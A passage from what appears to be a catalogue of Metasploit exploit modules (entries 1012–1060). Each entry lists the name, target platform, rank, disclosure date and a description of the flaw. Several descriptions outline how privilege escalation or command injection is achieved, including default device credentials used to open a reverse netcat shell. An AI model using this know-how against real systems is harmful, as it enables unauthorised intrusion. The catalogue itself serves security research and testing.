  before version 7.3.1. By sending an overly long RTSP response to a
  client, an attacker may be able to execute arbitrary code.

End Exploit Number 1012

Begin Exploit Number 1013
       Name: Samba lsa_io_trans_names Heap Overflow
     Module: exploit/osx/samba/lsa_transnames_heap
   Platform: OSX
       Arch:
 Privileged: Yes
    License: Metasploit Framework License (BSD)
       Rank: Average
  Disclosed: 2007-05-14

Payload information:
  Space: 1024

Description:
  This module triggers a heap overflow in the LSA RPC service
  of the Samba daemon. This module uses the szone_free() to overwrite
  the size() or free() pointer in initial_malloc_zones structure.

End Exploit Number 1013

Begin Exploit Number 1014
       Name: Samba trans2open Overflow (Mac OS X PPC)
     Module: exploit/osx/samba/trans2open
   Platform: OSX
       Arch: ppc
 Privileged: Yes
    License: Metasploit Framework License (BSD)
       Rank: Great
  Disclosed: 2003-04-07

Payload information:
  Space: 1024
  Avoid: 1 characters

Description:
  This exploits the buffer overflow found in Samba versions
  2.2.0 to 2.2.8. This particular module is capable of
  exploiting the bug on Mac OS X PowerPC systems.

End Exploit Number 1014

Begin Exploit Number 1015
       Name: ifwatchd Privilege Escalation
     Module: exploit/qnx/local/ifwatchd_priv_esc
   Platform: Unix
       Arch: cmd
 Privileged: Yes
    License: Metasploit Framework License (BSD)
       Rank: Excellent
  Disclosed: 2014-03-10

Payload information:
  Space: 1024
  Avoid: 0 characters

Description:
  This module attempts to gain root privileges on QNX 6.4.x and 6.5.x
  systems by exploiting the ifwatchd suid executable.

  ifwatchd allows users to specify scripts to execute using the '-A'
  command line argument; however, it does not drop privileges when
  executing user-supplied scripts, resulting in execution of arbitrary
  commands as root.

  This module has been tested successfully on QNX Neutrino 6.5.0 (x86)
  and 6.5.0 SP1 (x86).

End Exploit Number 1015

Begin Exploit Number 1016
       Name: QNX qconn Command Execution
     Module: exploit/qnx/qconn/qconn_exec
   Platform: Unix
       Arch: cmd
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Excellent
  Disclosed: 2012-09-04

Payload information:
  Avoid: 0 characters

Description:
  This module uses the qconn daemon on QNX systems to gain a shell.
  The QNX qconn daemon does not require authentication and allows
  remote users to execute arbitrary operating system commands.

  This module has been tested successfully on QNX Neutrino 6.5.0 (x86)
  and 6.5.0 SP1 (x86).

End Exploit Number 1016

Begin Exploit Number 1017
       Name: Solaris dtspcd Heap Overflow
     Module: exploit/solaris/dtspcd/heap_noir
   Platform: Solaris
       Arch: sparc
 Privileged: Yes
    License: Metasploit Framework License (BSD)
       Rank: Great
  Disclosed: 2002-07-10

Payload information:
  Space: 800
  Avoid: 2 characters

Description:
  This is a port of noir's dtspcd exploit. This module should
  work against any vulnerable version of Solaris 8 (sparc).
  The original exploit code was published in the book
  Shellcoder's Handbook.

End Exploit Number 1017

Begin Exploit Number 1018
       Name: Solaris 'EXTREMEPARR' dtappgather Privilege Escalation
     Module: exploit/solaris/local/extremeparr_dtappgather_priv_esc
   Platform: Solaris, Unix
       Arch: x86, x64, sparc
 Privileged: Yes
    License: Metasploit Framework License (BSD)
       Rank: Excellent
  Disclosed: 2017-04-24

Payload information:

Description:
  This module exploits a directory traversal vulnerability in the
  `dtappgather` executable included with Common Desktop Environment
(CDE)
  on unpatched Solaris systems prior to Solaris 10u11 which allows
users
  to gain root privileges.
  dtappgather allows users to create a user-owned directory at any
  location on the filesystem using the `DTUSERSESSION` environment
  variable.

  This module creates a directory in `/usr/lib/locale`, writes a
shared
  object to the directory, and runs the specified SUID binary with the
  shared object loaded using the `LC_TIME` environment variable.

  This module has been tested successfully on:

  Solaris 9u7 (09/04) (x86);
  Solaris 10u1 (01/06) (x86);
  Solaris 10u2 (06/06) (x86);
  Solaris 10u4 (08/07) (x86);
  Solaris 10u8 (10/09) (x86);
  Solaris 10u9 (09/10) (x86).

End Exploit Number 1018

Begin Exploit Number 1019
       Name: Solaris libnspr NSPR_LOG_FILE Privilege Escalation
     Module: exploit/solaris/local/libnspr_nspr_log_file_priv_esc
   Platform: Solaris
       Arch: x86, x64, sparc
 Privileged: Yes
    License: Metasploit Framework License (BSD)
       Rank: Excellent
  Disclosed: 2006-10-11

Payload information:

Description:
  This module exploits an arbitrary file write vulnerability in the
  Netscape Portable Runtime library (libnspr) on unpatched Solaris
systems
  prior to Solaris 10u3 which allows users to gain root privileges.

  libnspr versions prior to 4.6.3 allow users to specify a log file
with
  the `NSPR_LOG_FILE` environment variable. The log file is created
with
  the privileges of the running process, resulting in privilege
escalation
  when used in combination with a SUID executable.

  This module writes a shared object to the trusted library directory
  `/usr/lib/secure` and runs the specified SUID binary with the shared
  object loaded using the `LD_LIBRARY_PATH` environment variable.
  This module has been tested successfully with libnspr version 4.5.1
  on Solaris 10u1 (01/06) (x86) and Solaris 10u2 (06/06) (x86).

End Exploit Number 1019

Begin Exploit Number 1020
       Name: Solaris RSH Stack Clash Privilege Escalation
     Module: exploit/solaris/local/rsh_stack_clash_priv_esc
   Platform: Unix
       Arch: x86, x64
 Privileged: Yes
    License: Metasploit Framework License (BSD)
       Rank: Good
  Disclosed: 2017-06-19

Payload information:

Description:
  This module exploits a vulnerability in RSH on unpatched Solaris
  systems which allows users to gain root privileges.

  The stack guard page on unpatched Solaris systems is of
  insufficient size to prevent collisions between the stack
  and heap memory, aka Stack Clash.

  This module uploads and executes Qualys' Solaris_rsh.c exploit,
  which exploits a vulnerability in RSH to bypass the stack guard
  page to write to the stack and create a SUID root shell.

  This module has offsets for Solaris versions 11.1 (x86) and
  Solaris 11.3 (x86).

  Exploitation will usually complete within a few minutes using
  the default number of worker threads (10). Occasionally,
  exploitation will fail. If the target system is vulnerable,
  usually re-running the exploit will be successful.

  This module has been tested successfully on Solaris 11.1 (x86)
  and Solaris 11.3 (x86).

End Exploit Number 1020

Begin Exploit Number 1021
       Name: Solaris xscreensaver log Privilege Escalation
     Module: exploit/solaris/local/xscreensaver_log_priv_esc
   Platform: Solaris, Unix
       Arch: cmd
 Privileged: Yes
    License: Metasploit Framework License (BSD)
       Rank: Excellent
  Disclosed: 2019-10-16

Payload information:

Description:
  This module exploits a vulnerability in `xscreensaver` versions
  since 5.06 on unpatched Solaris 11 systems which allows users
  to gain root privileges.

  `xscreensaver` allows users to create a user-owned file at any
  location on the filesystem using the `-log` command line argument
  introduced in version 5.06.

  This module uses `xscreensaver` to create a log file in `/usr/lib/
secure/`,
  overwrites the log file with a shared object, and executes the
shared
  object using the `LD_PRELOAD` environment variable.

  This module has been tested successfully on:

  xscreensaver version 5.15 on Solaris 11.1 (x86); and
  xscreensaver version 5.15 on Solaris 11.3 (x86).

End Exploit Number 1021

Begin Exploit Number 1022
       Name: Solaris LPD Command Execution
     Module: exploit/solaris/lpd/sendmail_exec
   Platform: Solaris, Unix
       Arch: cmd
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Excellent
  Disclosed: 2001-08-31

Payload information:
  Space: 8192

Description:
  This module exploits an arbitrary command execution flaw in
  the in.lpd service shipped with all versions of Sun Solaris
  up to and including 8.0. This module uses a technique
  discovered by Dino Dai Zovi to exploit the flaw without
  needing to know the resolved name of the attacking system.

End Exploit Number 1022

Begin Exploit Number 1023
       Name: Samba lsa_io_trans_names Heap Overflow
     Module: exploit/solaris/samba/lsa_transnames_heap
   Platform: Solaris
       Arch: 
 Privileged: Yes
    License: Metasploit Framework License (BSD)
       Rank: Average
  Disclosed: 2007-05-14

Payload information:
  Space: 1024

Description:
  This module triggers a heap overflow in the LSA RPC service
  of the Samba daemon. This module uses the TALLOC chunk overwrite
  method (credit Ramon and Adriano), which only works with Samba
  versions 3.0.21-3.0.24. Additionally, this module will not work
  when the Samba "log level" parameter is higher than "2".

End Exploit Number 1023

Begin Exploit Number 1024
       Name: Samba trans2open Overflow (Solaris SPARC)
     Module: exploit/solaris/samba/trans2open
   Platform: Solaris
       Arch: 
 Privileged: Yes
    License: Metasploit Framework License (BSD)
       Rank: Great
  Disclosed: 2003-04-07

Payload information:
  Space: 1024
  Avoid: 1 characters

Description:
  This exploits the buffer overflow found in Samba versions
  2.2.0 to 2.2.8. This particular module is capable of
  exploiting the flaw on Solaris SPARC systems that do not
  have the noexec stack option set. Big thanks to MC and
  valsmith for resolving a problem with the beta version of
  this module.

End Exploit Number 1024

Begin Exploit Number 1025
       Name: Oracle Solaris SunSSH PAM parse_user_name() Buffer
Overflow
     Module: exploit/solaris/ssh/pam_username_bof
   Platform: Unix
       Arch: cmd
 Privileged: Yes
    License: Metasploit Framework License (BSD)
       Rank: Normal
  Disclosed: 2020-10-20

Payload information:
  Avoid: 3 characters

Description:
  This module exploits a stack-based buffer overflow in the Solaris
PAM
  library's username parsing code, as used by the SunSSH daemon when
the
  keyboard-interactive authentication method is specified.

  Tested against SunSSH 1.1.5 on Solaris 10u11 1/13 (x86) in
VirtualBox,
  VMware Fusion, and VMware Player. Bare metal untested. Your
addresses
  may vary.

End Exploit Number 1025

Begin Exploit Number 1026
       Name: Sun Solaris sadmind adm_build_path() Buffer Overflow
     Module: exploit/solaris/sunrpc/sadmind_adm_build_path
   Platform: Solaris
       Arch: x86
 Privileged: Yes
    License: Metasploit Framework License (BSD)
       Rank: Great
  Disclosed: 2008-10-14

Payload information:
  Space: 1024
  Avoid: 1 characters

Description:
  This module exploits a buffer overflow vulnerability in
adm_build_path()
  function of sadmind daemon.

  The distributed system administration daemon (sadmind) is the daemon
used by
  Solstice AdminSuite applications to perform distributed system
administration
  operations.

  The sadmind daemon is started automatically by the inetd daemon
whenever a
```

```
  request to invoke an operation is received. The sadmind daemon
process
  continues to run for 15 minutes after the last request is completed,
unless a
  different idle-time is specified with the -i command line option.
The sadmind
  daemon may be started independently from the command line, for
example, at
  system boot time. In this case, the -i option has no effect; sadmind
continues
  to run, even if there are no active requests.

End Exploit Number 1026

Begin Exploit Number 1027
       Name: Solaris sadmind Command Execution
     Module: exploit/solaris/sunrpc/sadmind_exec
   Platform: Solaris, Unix
       Arch: cmd
 Privileged: Yes
    License: Metasploit Framework License (BSD)
       Rank: Excellent
  Disclosed: 2003-09-13

Payload information:
  Space: 2000
  Avoid: 1 characters

Description:
  This exploit targets a weakness in the default security
  settings of the sadmind RPC application. This server is
  installed and enabled by default on most versions of the
  Solaris operating system.

  Vulnerable systems include solaris 2.7, 8, and 9

End Exploit Number 1027

Begin Exploit Number 1028
       Name: Solaris ypupdated Command Execution
     Module: exploit/solaris/sunrpc/ypupdated_exec
   Platform: Solaris, Unix
       Arch: cmd
 Privileged: Yes
    License: Metasploit Framework License (BSD)
       Rank: Excellent
  Disclosed: 1994-12-12

Payload information:
  Space: 1024
```

```
Description:
  This exploit targets a weakness in the way the ypupdated RPC
  application uses the command shell when handling a MAP UPDATE
  request.  Extra commands may be launched through this command
  shell, which runs as root on the remote host, by passing
  commands in the format '|<command>'.

  Vulnerable systems include Solaris 2.7, 8, 9, and 10, when
  ypupdated is started with the '-i' command-line option.

End Exploit Number 1028

Begin Exploit Number 1029
       Name: Sun Solaris Telnet Remote Authentication Bypass
Vulnerability
     Module: exploit/solaris/telnet/fuser
   Platform: Solaris, Unix
       Arch: cmd
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Excellent
  Disclosed: 2007-02-12

Payload information:
  Space: 2000
  Avoid: 0 characters

Description:
  This module exploits the argument injection vulnerability
  in the telnet daemon (in.telnetd) of Solaris 10 and 11.

End Exploit Number 1029

Begin Exploit Number 1030
       Name: Solaris in.telnetd TTYPROMPT Buffer Overflow
     Module: exploit/solaris/telnet/ttyprompt
   Platform: Solaris, Unix
       Arch: cmd
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Excellent
  Disclosed: 2002-01-18

Payload information:
  Space: 2000
  Avoid: 0 characters

Description:
  This module uses a buffer overflow in the Solaris 'login'
  application to bypass authentication in the telnet daemon.

End Exploit Number 1030

Begin Exploit Number 1031
       Name: Dhclient Bash Environment Variable Injection (Shellshock)
     Module: exploit/unix/dhcp/bash_environment
   Platform: Unix
       Arch: cmd
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Excellent
  Disclosed: 2014-09-24

Payload information:
  Space: 200

Description:
  This module exploits the Shellshock vulnerability, a flaw in how the 
Bash shell
  handles external environment variables. This module targets dhclient 
by responding
  to DHCP requests with a malicious hostname, domainname, and URL 
which are then
  passed to the configuration scripts as environment variables, 
resulting in code
  execution. Due to length restrictions and the unusual networking 
scenario at the
  time of exploitation, this module achieves code execution by writing 
the payload
  into /etc/crontab and then cleaning it up after a session is 
created.

End Exploit Number 1031

Begin Exploit Number 1032
       Name: DHCP Client Command Injection (DynoRoot)
     Module: exploit/unix/dhcp/rhel_dhcp_client_command_injection
   Platform: Unix
       Arch: cmd
 Privileged: Yes
    License: Metasploit Framework License (BSD)
       Rank: Excellent
  Disclosed: 2018-05-15

Payload information:

Description:
  This module exploits the DynoRoot vulnerability, a flaw in how the
  NetworkManager integration script included in the DHCP client in
  Red Hat Enterprise Linux 6 and 7, Fedora 28, and earlier
  processes DHCP options. A malicious DHCP server, or an attacker on
  the local network able to spoof DHCP responses, could use this flaw
  to execute arbitrary commands with root privileges on systems using
  NetworkManager and configured to obtain network configuration using
  the DHCP protocol.

End Exploit Number 1032

Begin Exploit Number 1033
       Name: ExifTool DjVu ANT Perl injection
     Module: exploit/unix/fileformat/exiftool_djvu_ant_perl_injection
   Platform: Unix
       Arch: cmd
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Excellent
  Disclosed: 2021-05-24

Payload information:
  Space: 2000
  Avoid: 5 characters

Description:
  This module exploits a Perl injection vulnerability in the DjVu ANT
  parsing code of ExifTool versions 7.44 through 12.23 inclusive. The
  injection is used to execute a shell command using Perl backticks.
  The DjVu image can be embedded in a wrapper image using the
  HasselbladExif EXIF field.

End Exploit Number 1033

Begin Exploit Number 1034
       Name: Ghostscript Type Confusion Arbitrary Command Execution
     Module: exploit/unix/fileformat/ghostscript_type_confusion
   Platform: Unix
       Arch: cmd
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Excellent
  Disclosed: 2017-04-27

Payload information:
  Avoid: 5 characters

Description:
  This module exploits a type confusion vulnerability in Ghostscript
that can
  be exploited to obtain arbitrary command execution. This
vulnerability affects
```

```
  Ghostscript versions 9.21 and earlier and can be exploited through
libraries
  such as ImageMagick and Pillow.

End Exploit Number 1034

Begin Exploit Number 1035
       Name: ImageMagick Delegate Arbitrary Command Execution
     Module: exploit/unix/fileformat/imagemagick_delegate
   Platform: Unix
       Arch: cmd
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Excellent
  Disclosed: 2016-05-03

Payload information:
  Avoid: 3 characters

Description:
  This module exploits a shell command injection in the way
"delegates"
  (commands for converting files) are processed in ImageMagick
versions
  <= 7.0.1-0 and <= 6.9.3-9 (legacy).

  Since ImageMagick uses file magic to detect file format, you can
create
  a .png (for example) which is actually a crafted SVG (for example)
that
  triggers the command injection.

  The PostScript (PS) target leverages a Ghostscript -dSAFER bypass
  (discovered by taviso) to achieve RCE in the Ghostscript delegate.
  Ghostscript versions 9.18 and later are affected. This target is
  provided as is and will not be updated to track additional vulns.

  If USE_POPEN is set to true, a |-prefixed command will be used for
the
  exploit. No delegates are involved in this exploitation.

End Exploit Number 1035

Begin Exploit Number 1036
       Name: Metasploit Libnotify Plugin Arbitrary Command Execution
     Module: exploit/unix/fileformat/
metasploit_libnotify_cmd_injection
   Platform: Unix
       Arch: cmd
 Privileged: No
```

```
    License: GNU Public License v2.0
       Rank: Excellent
  Disclosed: 2020-03-04

Payload information:

Description:
  This module exploits a shell command injection vulnerability in the
  libnotify plugin. This vulnerability affects Metasploit versions
  5.0.79 and earlier.

End Exploit Number 1036

Begin Exploit Number 1037
       Name: Rapid7 Metasploit Framework msfvenom APK Template Command
Injection
     Module: exploit/unix/fileformat/
metasploit_msfvenom_apk_template_cmd_injection
   Platform: Unix
       Arch: cmd
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Excellent
  Disclosed: 2020-10-29

Payload information:
  Avoid: 5 characters

Description:
  This module exploits a command injection vulnerability in Metasploit
Framework's msfvenom
  payload generator when using a crafted APK file as an Android
payload template. Affects
  Metasploit Framework <= 6.0.11 and Metasploit Pro <= 4.18.0. The
file produced by this
  module is a relatively empty yet valid-enough APK file. To trigger
the vulnerability,
  the victim user should do the following:

  msfvenom -p android/<...> -x <crafted_file.apk>

End Exploit Number 1037

Begin Exploit Number 1038
       Name: ProFTPD-1.3.3c Backdoor Command Execution
     Module: exploit/unix/ftp/proftpd_133c_backdoor
   Platform: Unix
       Arch: cmd
 Privileged: Yes
    License: Metasploit Framework License (BSD)
```

```
       Rank: Excellent
  Disclosed: 2010-12-02

Payload information:
  Space: 2000
  Avoid: 0 characters

Description:
  This module exploits a malicious backdoor that was added to the
  ProFTPD download archive. This backdoor was present in the
proftpd-1.3.3c.tar.[bz2|gz]
  archive between November 28th 2010 and 2nd December 2010.

End Exploit Number 1038

Begin Exploit Number 1039
       Name: ProFTPD 1.3.5 Mod_Copy Command Execution
     Module: exploit/unix/ftp/proftpd_modcopy_exec
   Platform: Unix
       Arch: cmd
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Excellent
  Disclosed: 2015-04-22

Payload information:
  Avoid: 0 characters

Description:
  This module exploits the SITE CPFR/CPTO mod_copy commands in ProFTPD
version 1.3.5.
  Any unauthenticated client can leverage these commands to copy files
from any
  part of the filesystem to a chosen destination. The copy commands
are executed with
  the rights of the ProFTPD service, which by default runs under the
privileges of the
  'nobody' user. By using /proc/self/cmdline to copy a PHP payload to
the website
  directory, PHP remote code execution is made possible.

End Exploit Number 1039

Begin Exploit Number 1040
       Name: VSFTPD v2.3.4 Backdoor Command Execution
     Module: exploit/unix/ftp/vsftpd_234_backdoor
   Platform: Unix
       Arch: cmd
 Privileged: Yes
    License: Metasploit Framework License (BSD)
```

```
       Rank: Excellent
  Disclosed: 2011-07-03

Payload information:
  Space: 2000
  Avoid: 0 characters

Description:
  This module exploits a malicious backdoor that was added to the
        VSFTPD download
  archive. This backdoor was introduced into the vsftpd-2.3.4.tar.gz
archive between
  June 30th 2011 and July 1st 2011 according to the most recent
information
  available. This backdoor was removed on July 3rd 2011.

End Exploit Number 1040

Begin Exploit Number 1041
       Name: Cacti color filter authenticated SQLi to RCE
     Module: exploit/unix/http/cacti_filter_sqli_rce
   Platform: PHP
       Arch: php
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Excellent
  Disclosed: 2020-06-17

Payload information:
  Avoid: 2 characters

Description:
  This module exploits a SQL injection vulnerability in Cacti 1.2.12
and before. An admin can exploit the filter
  variable within color.php to pull arbitrary values as well as
conduct stacked queries. With stacked queries, the
  path_php_binary value is changed within the settings table to a
payload, and an update is called to execute the payload.
  After calling the payload, the value is reset.

End Exploit Number 1041

Begin Exploit Number 1042
       Name: ContentKeeper Web Remote Command Execution
     Module: exploit/unix/http/contentkeeperweb_mimencode
   Platform: Unix
       Arch: cmd
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Excellent
  Disclosed: 2009-02-25

Payload information:
  Space: 1024

Description:
  This module exploits the ContentKeeper Web Appliance. Versions prior
  to 125.10 are affected. This module exploits a combination of
weaknesses
  to enable remote command execution as the Apache user. By setting
  SkipEscalation to false, this module will attempt to setuid the bash
shell.

End Exploit Number 1042

Begin Exploit Number 1043
       Name: CTEK SkyRouter 4200 and 4300 Command Execution
     Module: exploit/unix/http/ctek_skyrouter
   Platform: Unix
       Arch: cmd
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Average
  Disclosed: 2011-09-08

Payload information:
  Space: 1024

Description:
  This module exploits an unauthenticated remote root exploit within
ctek SkyRouter 4200 and 4300.

End Exploit Number 1043

Begin Exploit Number 1044
       Name: Dell KACE K1000 File Upload
     Module: exploit/unix/http/dell_kace_k1000_upload
   Platform: Unix
       Arch: cmd
 Privileged: Yes
    License: Metasploit Framework License (BSD)
       Rank: Excellent
  Disclosed: 2014-03-07

Payload information:
  Space: 1024
  Avoid: 2 characters

Description:
  This module exploits a file upload vulnerability in Kace K1000
  versions 5.0 to 5.3, 5.4 prior to 5.4.76849 and 5.5 prior to
5.5.90547
  which allows unauthenticated users to execute arbitrary commands
  under the context of the 'www' user.

  This module also abuses the 'KSudoClient::RunCommandWait' function
  to gain root privileges.

  This module has been tested successfully with Dell KACE K1000
  version 5.3.

End Exploit Number 1044

Begin Exploit Number 1045
       Name: Cambium ePMP1000 'get_chart' Shell via Command Injection
(v3.1-3.5-RC7)
     Module: exploit/unix/http/epmp1000_get_chart_cmd_shell
   Platform: 
       Arch: 
 Privileged: Yes
    License: Metasploit Framework License (BSD)
       Rank: Excellent
  Disclosed: 2017-12-18

Payload information:

Description:
  This module exploits an OS Command Injection vulnerability in
Cambium
  ePMP1000 device management portal. It requires any one of the
following login
  credentials - admin/admin, installer/installer, home/home - to set
up a reverse
  netcat shell. The module has been tested on versions 3.1-3.5-RC7.

End Exploit Number 1045

Begin Exploit Number 1046
       Name: Cambium ePMP1000 'ping' Shell via Command Injection (up
to v2.5)
     Module: exploit/unix/http/epmp1000_ping_cmd_shell
   Platform: 
       Arch: 
 Privileged: Yes
    License: Metasploit Framework License (BSD)
       Rank: Excellent
  Disclosed: 2015-11-28

Payload information:
```

```
Description:
  This module exploits an OS Command Injection vulnerability in
Cambium
  ePMP1000 device management portal. It requires any one of the
following login
  credentials - admin/admin, installer/installer, home/home - to set
up a reverse
  netcat shell.

End Exploit Number 1046

Begin Exploit Number 1047
       Name: FreePBX 2.10.0 / 2.9.0 callmenum Remote Code Execution
     Module: exploit/unix/http/freepbx_callmenum
   Platform: Unix
       Arch: cmd
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Manual
  Disclosed: 2012-03-20

Payload information:
  Space: 1024

Description:
  This module exploits FreePBX version 2.10.0,2.9.0 and possibly
older.
  Due to the way callme_page.php handles the 'callmenum' parameter, it
  is possible to inject code to the '$channel' variable in function
  callme_startcall in order to gain remote code execution.

  Please note in order to use this module properly, you must know the
  extension number, which can be enumerated or bruteforced, or you may
  try some of the default extensions such as 0 or 200.  Also, the call
  has to be answered (or go to voice).

  Tested on both Elastix and FreePBX ISO image installs.

End Exploit Number 1047

Begin Exploit Number 1048
       Name: PHP Laravel Framework token Unserialize Remote Command
Execution
     Module: exploit/unix/http/laravel_token_unserialize_exec
   Platform: Unix
       Arch: cmd
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Excellent
  Disclosed: 2018-08-07
```

```
Payload information:

Description:
  This module exploits a vulnerability in the PHP Laravel Framework
for versions 5.5.40, 5.6.x <= 5.6.29.
  Remote Command Execution is possible via a correctly formatted HTTP
X-XSRF-TOKEN header, due to
  an insecure unserialize call of the decrypt method in Illuminate/
Encryption/Encrypter.php.
  Authentication is not required, however exploitation requires
knowledge of the Laravel APP_KEY.
  Similar vulnerabilities appear to exist within Laravel cookie tokens
based on the code fix.
  In some cases the APP_KEY is leaked which allows for discovery and
exploitation.

End Exploit Number 1048

Begin Exploit Number 1049
       Name: LifeSize Room Command Injection
     Module: exploit/unix/http/lifesize_room
   Platform: Unix
       Arch: cmd
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Excellent
  Disclosed: 2011-07-13

Payload information:
  Space: 65535

Description:
  This module exploits a vulnerable resource in LifeSize
  Room versions 3.5.3 and 4.7.18 to inject OS commands.  LifeSize
  Room is an appliance and thus the environment is limited
  resulting in a small set of payload options.

End Exploit Number 1049

Begin Exploit Number 1050
       Name: Maltrail Unauthenticated Command Injection
     Module: exploit/unix/http/maltrail_rce
   Platform: Unix, Linux
       Arch: cmd, x86, x64
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Excellent
  Disclosed: 2023-07-31
```

```
Payload information:

Description:
  Maltrail is a malicious traffic detection system, utilizing publicly
  available blacklists containing malicious and/or generally
suspicious trails.
  The Maltrail versions < 0.54 is suffering from a command injection
vulnerability.
  The `subprocess.check_output` function in `mailtrail/core/http.py`
contains
  a command injection vulnerability in the `params.get("username")`
parameter.
  An attacker can exploit this vulnerability by injecting arbitrary OS
commands
  into the username parameter. The injected commands will be executed
with the
  privileges of the running process. This vulnerability can be
exploited remotely
  without authentication.

  Successfully tested against Maltrail versions 0.52 and 0.53.

End Exploit Number 1050

Begin Exploit Number 1051
       Name: Clickjacking Vulnerability In CSRF Error Page pfSense
     Module: exploit/unix/http/pfsense_clickjacking
   Platform: PHP
       Arch: php
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Normal
  Disclosed: 2017-11-21

Payload information:
  Avoid: 1 characters

Description:
  This module exploits a Clickjacking vulnerability in pfSense <=
2.4.1.

  pfSense is a free and open source firewall and router. It was found
that the
  pfSense WebGUI is vulnerable to Clickjacking. By tricking an
authenticated admin
  into interacting with a specially crafted webpage it is possible for
an attacker
  to execute arbitrary code in the WebGUI. Since the WebGUI runs as
the root user,
  this will result in a full compromise of the pfSense instance.
```

```
End Exploit Number 1051

Begin Exploit Number 1052
       Name: pfSense Restore RRD Data Command Injection
     Module: exploit/unix/http/pfsense_config_data_exec
   Platform: Unix
       Arch: cmd
 Privileged: Yes
    License: Metasploit Framework License (BSD)
       Rank: Excellent
  Disclosed: 2023-03-18

Payload information:
  Avoid: 2 characters

Description:
  This module exploits an authenticated command injection vulnerabilty
in the "restore_rrddata()" function of
  pfSense prior to version 2.7.0 which allows an authenticated
attacker with the  "WebCfg - Diagnostics: Backup & Restore"
  privilege to execute arbitrary operating system commands as the
"root" user.

  This module has been tested successfully on version 2.6.0-RELEASE.

End Exploit Number 1052

Begin Exploit Number 1053
       Name: pfSense Diag Routes Web Shell Upload
     Module: exploit/unix/http/pfsense_diag_routes_webshell
   Platform: Unix, BSD
       Arch: cmd, x64
 Privileged: Yes
    License: Metasploit Framework License (BSD)
       Rank: Excellent
  Disclosed: 2022-02-23

Payload information:

Description:
  This module exploits an arbitrary file creation vulnerability in the
pfSense
  HTTP interface (CVE-2021-41282). The vulnerability affects versions
<= 2.5.2
  and can be exploited by an authenticated user if they have the
  "WebCfg - Diagnostics: Routing tables" privilege.

  This module uses the vulnerability to create a web shell and execute
payloads
```

```
  with root privileges.

End Exploit Number 1053

Begin Exploit Number 1054
       Name: pfSense authenticated graph status RCE
     Module: exploit/unix/http/pfsense_graph_injection_exec
   Platform: PHP
       Arch: php
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Excellent
  Disclosed: 2016-04-18

Payload information:
  Space: 6000

Description:
  pfSense, a free BSD based open source firewall distribution,
  version <= 2.2.6 contains a remote command execution
  vulnerability post authentication in the _rrd_graph_img.php page.
  The vulnerability occurs via the graph GET parameter. A non-
administrative
  authenticated attacker can inject arbitrary operating system
commands
  and execute them as the root user. Verified against 2.2.6, 2.2.5,
and 2.1.3.

End Exploit Number 1054

Begin Exploit Number 1055
       Name: pfSense authenticated group member RCE
     Module: exploit/unix/http/pfsense_group_member_exec
   Platform: Unix
       Arch: cmd
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Excellent
  Disclosed: 2017-11-06

Payload information:

Description:
  pfSense, a free BSD based open source firewall distribution,
  version <= 2.3.1_1 contains a remote command execution
  vulnerability post authentication in the system_groupmanager.php
page.
  Verified against 2.2.6 and 2.3.

End Exploit Number 1055
```

```
Begin Exploit Number 1056
       Name: pfSense plugin pfBlockerNG unauthenticated RCE as root
     Module: exploit/unix/http/pfsense_pfblockerng_webshell
   Platform: Unix
       Arch: cmd
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Great
  Disclosed: 2022-09-05

Payload information:

Description:
  pfBlockerNG is a popular pfSense plugin that is not installed by
default. It’s generally used to
  block inbound connections from whole countries or IP ranges.
Versions 2.1.4_26 and below are affected
  by an unauthenticated RCE vulnerability that results in root access.
Note that version 3.x is unaffected.

End Exploit Number 1056

Begin Exploit Number 1057
       Name: Pi-Hole heisenbergCompensator Blocklist OS Command
Execution
     Module: exploit/unix/http/pihole_blocklist_exec
   Platform: PHP
       Arch: php
 Privileged: Yes
    License: Metasploit Framework License (BSD)
       Rank: Excellent
  Disclosed: 2020-05-10

Payload information:

Description:
  This exploits a command execution in Pi-Hole <= 4.4.  A new
blocklist is added, and then an
  update is forced (gravity) to pull in the blocklist content.  PHP
content is then written
  to a file within the webroot.  Phase 1 writes a sudo pihole command
to launch teleporter,
  effectively running a priv esc.  Phase 2 writes our payload to
teleporter.php, overwriting,
  the content.  Lastly, the phase 1 PHP file is called in the web
root, which launches
  our payload in teleporter.php with root privileges.

End Exploit Number 1057
```

```
Begin Exploit Number 1058
       Name: Pi-Hole DHCP MAC OS Command Execution
     Module: exploit/unix/http/pihole_dhcp_mac_exec
   Platform: Unix
       Arch: cmd
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Good
  Disclosed: 2020-03-28

Payload information:
  Avoid: 1 characters

Description:
  This exploits a command execution in Pi-Hole <= 4.3.2.  A new DHCP
static lease is added
  with a MAC address which includes an RCE.  Exploitation requires /
opt/pihole to be first
  in the $PATH due to exploitation constraints.  DHCP server is not
required to be running.

End Exploit Number 1058

Begin Exploit Number 1059
       Name: Pi-Hole Whitelist OS Command Execution
     Module: exploit/unix/http/pihole_whitelist_exec
   Platform: Linux
       Arch: x86, x64, cmd
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Excellent
  Disclosed: 2018-04-15

Payload information:

Description:
  This exploits a command execution vulnerability in Pi-Hole <= 3.3.
  When adding a new domain to the whitelist, it is possible to chain
  a command to the domain that is run on the OS.

End Exploit Number 1059

Begin Exploit Number 1060
       Name: Quest KACE Systems Management Command Injection
     Module: exploit/unix/http/quest_kace_systems_management_rce
   Platform: Unix
       Arch: cmd
 Privileged: No
    License: Metasploit Framework License (BSD)
```

```
       Rank: Excellent
